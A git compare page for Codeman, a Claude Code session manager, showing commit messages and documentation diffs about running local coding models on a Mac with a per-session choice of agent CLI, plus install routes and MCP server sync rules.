Compare commits

..
Author SHA1 Message Date
Codeman maintainer faca681c90 Merge branch 'feat/local-model-skill-agents' into docs/local-models-wiki 2026-11-12 00:56:00 +01:00
Codeman maintainer d873555cc2 fix(skill): two workers in one folder no longer share a sendmark answer file
Seen on a MacBook (M5 Pro, 2026-11-12), in a real Claude Code session: the lead started a
Pi worker and an OpenCode worker on the local model in ITS OWN case, sent both their tasks
at once, and reported afterwards that one written answer was lost. Both prompts had named
the same file, codeman-answer-<token>.md, and the second worker's summary replaced the
first one's. The code the workers wrote was not affected.

The token was the second plus $RANDOM. Claude Code runs zsh on a Mac, and zsh hands every
subshell the same $RANDOM until the parent shell reads it (measured there: four subshells,
one number, where bash drew four). The token line is itself a subshell, so under zsh the
"random" part never changed, and two calls in one second shared a token. Workers in their
own cases never noticed: same name, different folders, and the marker is matched per pane.

The token now ends in six characters of the worker's id. The test makes $RANDOM a plain
variable that always reads the same, which is what zsh does, and runs two calls at once.
The reference gets one sentence for hand-built markers in a fan-out.

No new preamble version: 1.51.0 is not released yet.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-12 00:45:39 +01:00
Codeman maintainer 781e39022a Merge branch 'feat/local-model-skill-agents' into docs/local-models-wiki 2026-11-12 00:11:17 +01:00
Codeman maintainer ee0c9f4db9 Merge branch 'feat/local-model-harness-choice' into feat/local-model-skill-agents 2026-11-12 00:11:17 +01:00
Codeman maintainer b724f2d6ea Merge branch 'feat/local-model-library' into feat/local-model-harness-choice
# Conflicts:
#	src/web/CLAUDE.md
2026-11-12 00:11:10 +01:00
Codeman maintainer afc5d7ab2a Merge branch 'feat/local-model-skill-agents' into docs/local-models-wiki 2026-11-11 10:24:08 +01:00
Codeman maintainer d04fb63837 Merge branch 'feat/local-model-harness-choice' into feat/local-model-skill-agents 2026-11-11 10:24:06 +01:00
Codeman maintainer bd362f736b fix(local-model): a chip that was only looked at never hides "Start a session"
Selecting a chip stored it for the device at once. Someone who clicked
"DeepSeek" (Needs setup) or "Pi" (Not installed) just to see what it
says then got a window that reopened on that chip: "Install Pi", or no
main button at all, with "Start a session" out of sight.

The device now remembers the agent a session was STARTED with, an
opening of the window selects it only while it can be started, and a
selection made in one opening does not carry into the next. Otherwise
the server's default agent is selected, as before.

Also: a real-browser test for the chips (they wrap inside the window at
1440, 390 and 320 px, the install command included, one tab stop), and
one sentence in the API reference: a readiness mark says the composer is
there, not that nothing else is (DeepSeek Harness's setup guide draws
the same glyph).

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-11 10:24:03 +01:00
Codeman maintainer ae6770f03b docs(wiki): DeepSeek Harness opens its own setup guide until it was finished once
Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-11 10:20:01 +01:00
Codeman maintainer ea1697ac58 Merge branch 'feat/local-model-skill-agents' into docs/local-models-wiki 2026-11-11 10:16:50 +01:00
Codeman maintainer cda1572b77 Merge branch 'feat/local-model-harness-choice' into feat/local-model-skill-agents 2026-11-11 10:16:48 +01:00
Codeman maintainer 0f9f877a5a docs(local-model): what today's DeepSeek Harness showed
A second scripted run, on dsh 0.2.2-rc.1 with a freshly installed
dsh-TUI 0.19.0 under a scratch home: the model name reaches the endpoint
unchanged, the first request is 6,983 tokens with 27 tools, and a tool
round trip completes.

Two things that version does differently are written down where a reader
of the harness table looks: a setup guide opens in every session until a
person has finished it once (and its cursor is the readiness mark), and
its transcript file was renamed, so `last-response` is empty for it.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-11 10:16:40 +01:00
Codeman maintainer aa8afdf2f6 fix(skill): a DeepSeek Harness worker on its setup guide is refused, not typed into
dsh-TUI 0.19.0 opens a setup guide ("Step 1 of 4") in every session
until a person has finished it once, and the guide's cursor is the same
glyph the skill waits for as the composer: the readiness mark matched on
it in 2 of 2 launches. An Enter there acts on the highlighted step,
which is a sign-in. A spawned worker was handed back "ready" on that
screen, and the first task prompt would have been typed into it.

After the mark, the rendered pane is now read once: a worker that shows
the guide is deleted and the spawn fails with what to do (finish the
guide once from the Run menu). For `local:deepseek` and for a plain
`deepseek` worker alike.

Also says which verb reads a local DeepSeek worker's answer: `sendmark`.
The harness reports the end of a turn, but dsh 0.2.2 renamed its
transcript file and Codeman reads an empty answer from it for now.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-11 10:16:18 +01:00
Codeman maintainer 452f7c41dd docs(wiki): Local Models, the walkthrough from install to cloud plus local
A page of its own in the user manual: install a model, pick the coding
agent per session (and install one that is missing), keep more than one
model on the Mac, and hand work to the local model from a cloud session
with the codeman skill, with the prompts to say and the limits to know.

Linked from the sidebar and the Home index, and from the two pages that
already mention the local model (Custom Model Endpoints, Codeman Skill).

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-11 10:13:57 +01:00
Codeman maintainer bdd882bce8 feat(skill): a local worker with the coding agent of your choice
`spawn_worker <name> local` started the one agent the model was
installed with. The server now lists every agent the model can be run
with, so the skill passes the choice on:

- `local_model` adds `agents` (each with its status, whether it is the
  default, and the readiness mark the server measured) and `models`
  (what is on the Mac; only the active one runs). A new reason,
  `no-agent`: installed, but nothing that can run the model is there.
- `spawn_worker <name> local:<cli>` (`local:pi`, `local:deepseek`,
  `local:opencode`, `local:claude`, also as `name:local:pi` in
  `spawn_workers`) starts an agent whose status is `ready`. Anything
  else fails the spawn before a session exists and names the agents
  that are startable. No agent is ever installed from here: that stays
  a person's click in the window. A Codeman that lists no agents knows
  one, and only that one can be named.
- The readiness mark comes from the server when it names one, else from
  what this skill measured (OpenCode `┃`, Pi `extended-keys`), and
  `LOCAL_READY_MARK` overrides both.
- A Pi worker on the local model is started with
  `piConfig.approveProjectTrust: false` (--no-approve). On a custom
  model Pi keeps no home, so it asks to trust the folder in every
  session with Trust preselected, and the task prompt's Enter would
  answer that.

Pi's mark is the last line of its startup, a warning about tmux's
`extended-keys` option. Its composer rule is painted in the first frame,
before Pi takes Enter: a prompt sent at the rule stayed unsent, 2 of 2,
and one sent at the warning was submitted, 4 of 4 (pi 1.5.2, Linux). It
is a side effect, not a contract, so a Pi that stops printing it fails
the spawn and the worker is deleted, never handed back on a guess.

The preamble changed, so CODEMAN_PREAMBLE moves to 1.51.0 in the
preamble, the SKILL.md copy of it and every version check, and the
plugin mirror is synced.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-11 10:11:51 +01:00
Codeman maintainer 9a34797cd5 docs(local-model): the coding agents of a model, what each was measured with, and the agent install
- docs/local-models.md: the four agents with their first request, whether
  the window installs them and what was seen where (a real model, a
  scripted endpoint, Linux, not the pinned runtime); what differs for Pi
  and for DeepSeek Harness; installing one more agent beside a model.
- docs/api-reference.md: `POST /api/local-model/agent`, `install.harnesses`,
  the `install-agent` action, and `install.cli` as the default agent.
- docs/architecture-invariants.md, CLAUDE.md, src/web/CLAUDE.md: the
  rules: the agent is chosen per session, the agent install is not a
  job, a launcher is never installable, a readiness mark is a measured
  one, and the window's one builder for the agent chips.
- docs/custom-model-endpoints.md: Pi's context window.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-11 10:04:47 +01:00
Codeman maintainer 0442b4cdbf feat(local-model): pick the coding agent in the window, and install one that is missing
The installed screen gets one more block, "Start a session with": a chip
per coding agent the model in use can be run with, as a radio group, the
server's default selected. A chip that is not on the Mac says so.

The main button follows the selected chip:
- an agent that can be started: "Start a session", with that agent;
- an agent that is not on the Mac: its literal install command above the
  button, and "Install <agent>". The click is the consent; the server
  runs its own stock command, and the window shows "Installing" on the
  chip while the model stays ready and another agent can be started;
- an agent that needs a setup of its own (DeepSeek Harness without a
  terminal profile): one line that says where, nothing to press.

A failed install shows the server's sentence under the chip with the
installer's last words folded away; the model's own headline is
untouched. On a stopped model Start stays the one main button. The
choice is remembered on the device. A server that lists no agents gets
the screen it had.

Rendered in Chromium at 1440, 390 and 320 px on a dark and a light
skin: the chips wrap, nothing leaves the window.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-11 10:00:03 +01:00
Codeman maintainer d22bfaaaaf feat(local-model): the coding agent is chosen per session, with Pi and DeepSeek Harness
An installed model knew one coding agent: the one it was installed with.
The launch check never asked about the agent, only about the endpoint
and the model, so nothing stopped a second one. What was missing is the
list, and a way to get an agent that is not on the Mac yet.

The install view gains `harnesses`: every catalogue harness the model in
use can be run with, each with how it stands (`ready`, `installable`,
`installing`, `setup-needed`), the literal install command, a readiness
mark for scripts, and the actions the server accepts for it. `cli` stays
the default agent, and names one that can be started whenever one can,
so a client that reads only `cli` never starts an agent that is gone.

`POST /api/local-model/agent { cli }` installs one more agent beside an
installed model. It is not a job and not an event of the reducer: the
state stays `installed` whatever the installer does, so a failed npm
install never blocks a session on a model that works. Same install slot
and same compiled stock command as the `agent` step, one at a time, the
outcome in memory only.

The catalogue:
- `pi` is no longer gated. Its two open questions were answered by a run
  against a real model (the `name:tag` id reaches the runtime unchanged;
  its first request is 2,096 tokens), and Codeman now passes it the
  window. Its minimum is 65536 like the others: nothing below was run,
  and no model row offers less, so no Mac's pick changes.
- `deepseek` is new. It is a launcher: its install command leaves it
  with nothing to launch, so it is never reported installable (read off
  `discovery.launcherProfile`, not the id) and a Mac is offered it only
  where it was already set up. Its tool round trip was seen on a
  scripted endpoint only; the header says how to gate it again.
- a row may carry `readyMark`; `opencode` has the measured one.

A switch no longer refuses for the agent a model was checked with when
another agent that can run it is on the Mac.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-11 09:53:54 +01:00
Codeman maintainer a5a1b6f9a2 fix(custom-model): pi is told the endpoint's context window
A pi session on a custom endpoint got a model list entry with only the
model id. pi then takes the model for a 128,000-token one (its footer
reads "/128k") and asks for 16,384 reply tokens, so on a 65,536 or
32,768 window it never compacts before the server's real window is full.

The entry now carries `contextWindow` (the full window) and `maxTokens`
(a quarter of it, 8,192 at most) whenever the endpoint's context length
is known: the same two figures the DeepSeek Harness patch already
carries, now from one helper. An unknown length writes neither, as
before.

Measured on pi 1.5.2: with both fields `pi --list-models` shows the
window, and the request carries `max_tokens: 8192`.

Co-Authored-By: Claude Fable 5.2 <noreply@anthropic.com>
2026-11-11 09:53:12 +01:00
42 changed files with 3005 additions and 282 deletions

No files matched your search

+1 -1
View File
@@ -194,7 +194,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ The READ side stays read-only: the probe, the catalogue and `recommend()` download nothing, install nothing and write nothing; everything that changes the machine is the install below, behind an explicit request. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`, so an id can never name another registry host). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ A model's need is its PEAK (`bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`, measured on a Mac for one row and marked `estimated` on the others), and every row names its `runner` (`mlx` or `llamacpp`, the build a Mac really pulls) and carries figures of its OWN: computed from its model's config.json by that runner's rule (catalogue header, MEMORY), never borrowed from another row; `test/local-model-catalog.test.ts` recomputes them, and the `llamacpp` rows assume the runtime's `OLLAMA_KV_CACHE_TYPE=q8_0`, `LLAMA_ARG_CACHE_RAM=1024` and `LLAMA_ARG_CTX_CHECKPOINTS=8` (`runtimeEnv()`) and count what llama-server keeps beside the cache (8 context checkpoints of the recurrent or sliding-window state, and for a GGUF with a prediction layer one rollback copy of the recurrent state per drafted token and that layer's cache in f16), so change the two together. The need is judged against a budget that is `estimated` until the runtime ran and `measured` from then on (`RecommendOptions.measuredTotalBytes`). ⚠️ Ranking, lexicographic: tested on a Mac like this first, then speed `ok` before `unknown` before `slow`, then model rank, harness rank, larger context; the fit grade decides whether a row is listed and what it says, it does NOT sort, so a model is offered at the largest context it fits at. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested`, and the tag "Tested on a Mac like this" only on a row whose model has a `tested` entry for exactly this chip, memory size and harness. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS`, `LOCAL_MODEL_TAG_LABELS` or `LOCAL_MODEL_INSTALL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Window rules: `src/web/CLAUDE.md` (Run a model on this Mac). → `docs/api-reference.md` (Local model), `docs/versioning-policy.md`
**Local model install** (`POST /api/local-model/install|use|cancel|resume|runtime`, `DELETE /api/local-model`, `DELETE /api/local-model/models`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ A LIBRARY with ONE model in use: the store may hold several models and `LocalModelStateFile.library` lists the ones that passed the check (written by the service when `verify` passes, carried by the reducer, dropped by `remove`; an `installed` file without it counts its one model, `libraryOf()`), but the endpoint record lists ONE model, the runtime holds one and only the state's model is ever launched: never widen the record to every checked model. `install` from `installed` adds a model (the earlier one stays: `replacedModelFor()` never names a library model), `use` switches to a checked one (a job of `USE_JOB_STEPS`, `verify` then `connect`; the stored digest is compared before anything is loaded, else `model-changed`), and both answer 409 `sessions-open` while a live session uses the endpoint; until such a job ends `installed`, no session starts (`launchRefusal()` answers `job-unfinished`). `DELETE /api/local-model/models` deletes ONE model by its NAME (`LOCAL_MODEL_ID_PATTERN`, never a path), only a name of the server's own listing, only through the runtime's own delete, never the model of the installation or of the current job (409 `model-active`), and it is no reducer event: its row is the `delete-model` action of `INSTALL_STATE_TABLE`. ⚠️ The view's `library` (state entries joined with the runtime's `/api/tags`: `ready`, `changed`, `missing`, `unverified`) and `store` (the blob folder's size, `measureModelStore()`) are cached (5 s, 30 s), refreshed in the background and thrown away by every verb and step that changes them (`forgetStore()`): never ask the runtime or the disk on the one-second poll, and a runtime that does not answer keeps the last list. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-<version>/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue hLine truncated
**Local model install** (`POST /api/local-model/install|use|cancel|resume|runtime|agent`, `DELETE /api/local-model`, `DELETE /api/local-model/models`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ A LIBRARY with ONE model in use: the store may hold several models and `LocalModelStateFile.library` lists the ones that passed the check (written by the service when `verify` passes, carried by the reducer, dropped by `remove`; an `installed` file without it counts its one model, `libraryOf()`), but the endpoint record lists ONE model, the runtime holds one and only the state's model is ever launched: never widen the record to every checked model. `install` from `installed` adds a model (the earlier one stays: `replacedModelFor()` never names a library model), `use` switches to a checked one (a job of `USE_JOB_STEPS`, `verify` then `connect`; the stored digest is compared before anything is loaded, else `model-changed`), and both answer 409 `sessions-open` while a live session uses the endpoint; until such a job ends `installed`, no session starts (`launchRefusal()` answers `job-unfinished`). `DELETE /api/local-model/models` deletes ONE model by its NAME (`LOCAL_MODEL_ID_PATTERN`, never a path), only a name of the server's own listing, only through the runtime's own delete, never the model of the installation or of the current job (409 `model-active`), and it is no reducer event: its row is the `delete-model` action of `INSTALL_STATE_TABLE`. ⚠️ The view's `library` (state entries joined with the runtime's `/api/tags`: `ready`, `changed`, `missing`, `unverified`) and `store` (the blob folder's size, `measureModelStore()`) are cached (5 s, 30 s), refreshed in the background and thrown away by every verb and step that changes them (`forgetStore()`): never ask the runtime or the disk on the one-second poll, and a runtime that does not answer keeps the last list. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-<version>/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalLine truncated
**MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `<file>.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md`
+6 -4
View File
@@ -1716,7 +1716,7 @@ Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge cre
## Local model
`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, where an install of one stands and which models are on the machine. Seven verbs install a model (a first one, or another one beside it), switch to a model that is already there, pause and continue a job, stop and start the model runtime, delete one model, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md).
`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, where an install of one stands and which models are on the machine. Eight verbs install a model (a first one, or another one beside it), switch to a model that is already there, pause and continue a job, stop and start the model runtime, delete one model, install one more agent CLI beside an installed model, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md).
**Experimental.** These routes and their payloads are labeled experimental: the fields below, the states, the error codes and the sentences may change or go in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on their shape yet.
@@ -1732,6 +1732,7 @@ Every route is admin only in multi-user mode (`403 FORBIDDEN`, answered before a
| `POST` | `/api/local-model/runtime` | `{ action: "start" \| "stop", newPort? }` | `stop` stops the runtime and keeps it from starting at the next boot; `start` undoes that. `newPort: true` with `start` chooses another port and moves the saved endpoint to it. `409`: `job-running`, `wrong-state` (nothing is installed), `sessions-open` (`stop` or `newPort` while live sessions use the model: their agents keep calling the address they were started with). |
| `DELETE` | `/api/local-model` | `{ removeModel? }` (may be absent) | Stops the runtime, removes the saved endpoint, restores the settings flag when this feature switched it on and no other endpoint is saved, deletes the runtime; the downloaded models (all of them) only with `removeModel: true`. With nothing installed it is what deletes the models an earlier Remove kept. `409`: `job-running`, `sessions-open`. |
| `DELETE` | `/api/local-model/models` | `{ modelId }` | Deletes ONE model from the store, through the runtime. `modelId` is a model name (`name:tag`) of `install.library` whose `actions` list `delete`, never a path. `400 INVALID_INPUT` for a name that is not on this machine. `409`: `job-running`, `wrong-state` (nothing is installed), `model-active` (the model of the installation or of the current job), `runtime-not-running`. `500 OPERATION_FAILED` when the runtime did not delete it. |
| `POST` | `/api/local-model/agent` | `{ cli }` | Installs one more agent CLI beside an installed model and answers at once; the installer runs on in the server and `install.harnesses` says how it stands. `cli` is a row of `install.harnesses` whose `actions` list `install`; the server runs that row's `installCommand`, the release's own stock command, never text from the request. It is not a job: `install.state` stays `installed` whatever the installer does, sessions are not refused, and no live session is looked at. An agent that can already be started answers `200` with the view as it is. `400 INVALID_INPUT` for a CLI that is not a row of `install.harnesses`, or one that one command does not make startable (`setup-needed`). `409`: `job-running` (a job, or another agent install, is running), `wrong-state` (nothing is installed). |
Every verb answers `{ success: true, data: <install> }` with the `install` object (below) as it is after the verb. A refusal the feature names is a `409` whose envelope also carries the conflict:
@@ -1786,16 +1787,17 @@ A probe that fails is an answer, not an error: a server that is not on macOS, or
- `step` and `steps[]` (present with `installing`, `paused` and `failed`): the step the job is in or stopped in, and the steps of this job in order, out of `runtime`, `model`, `verify`, `agent`, `connect`. `agent` is absent from a job whose agent CLI was already installed. A switch (`POST .../use`) is the two steps `verify` and `connect`.
- `progress` (while a download runs, and as it stood on a paused or failed job): `completedBytes`, `totalBytes`, `completedGb`, `totalGb`, and while it moves `bytesPerSecond`, `mbPerSecond` (whole decimal megabytes per second as text) and `secondsLeft`. During the `model` step both byte figures come from the download's own lines, not from the catalogue.
- `error` (with `failed`; with `installed` only when something blocks a session): `{ code, message: { text, vars? }, next, nextModel?, detail? }`. `next` is the ONE action that helps: `retry` (`POST .../resume`), `other-port` (`POST .../resume` or `.../runtime` with `newPort: true`), `next-model` (choose again; `nextModel` is `{ modelId, modelLabel }` when the server knows one), `start` (`POST .../runtime`) or `remove` (`DELETE`). `detail` is raw text for the curious (an installer's last lines), not translated.
- `model` (`{ id, label }`), `cli`, `cliLabel`, `context`: the choice of the job or of the installation. `port`: the runtime's loopback port, once chosen.
- `model` (`{ id, label }`), `cli`, `cliLabel`, `context`: the choice of the job or of the installation. With `installed`, `cli` is the DEFAULT agent CLI, the one a client that names none starts: the agent of the installation while it can be started, else the first row of `harnesses` that can. `port`: the runtime's loopback port, once chosen.
- `running`: the runtime Codeman started is alive right now. A runtime the person stopped is `running: false` with no `error`.
- `loaded` (with `installed`): what the runtime reported when the job checked the loaded model: `context`, `memoryBytes`, `memoryGb`, `onGpu`.
- `endpointId` (with `installed`): the saved model endpoint a session is started on, with `cli`.
- `endpointId` (with `installed`): the saved model endpoint a session is started on, with `cli` or with any row of `harnesses` that offers `start-session`.
- `developerTools`: `present`, `missing` (the Mac has no Xcode or Command Line Tools, so macOS will offer to install them the first time an agent runs `git` or `python3`) or `unknown`.
- `runtime`: `{ version, installed, downloadBytes, downloadGb, unpackedGb }`. `downloadBytes` is `0` once the runtime is unpacked.
- `folder`: the absolute folder everything of this feature is kept in.
- `library[]`: the models on this machine, the model in use first. Empty with `idle` (no runtime is there to ask). Each row: `id` (the name the runtime lists, `name:tag`), `label`, `context?` (the context it was checked with), `sizeBytes?` and `sizeGb?` (its size on disk as the runtime reports it, else as recorded when it was checked), `active` (it is the model in use), `verified` (Codeman checked it), `status` and `actions[]`. `status` is `ready`, `changed` (checked, and the runtime now reports another digest under the name), `missing` (checked, and the runtime no longer lists it) or `unverified` (the runtime lists it and Codeman never checked it: a model an earlier Remove kept, the model of a job that has not passed its check, or one another program pulled through the runtime's port). `actions` is what the server accepts for THAT row right now, out of `use` and `delete`; `delete` needs the running runtime, and a name that is not a plain `name:tag` is listed with no action.
- `store?`: `{ bytes, gb }`, what the model store takes on disk (the files of its blob folder, so shared layers count once and an interrupted download is included). Present in every state once it was measured; cached for about thirty seconds.
- `actions[]`: exactly what the server accepts right now, out of `install` (with `installed`: add another model), `cancel`, `resume`, `start`, `stop`, `remove` (with `idle` only while `store` holds something), `use` and `delete-model` (only while a row of `library` offers them) and `start-session` (not a route here: start a session on `endpointId`; offered only while the runtime runs and nothing blocks a session).
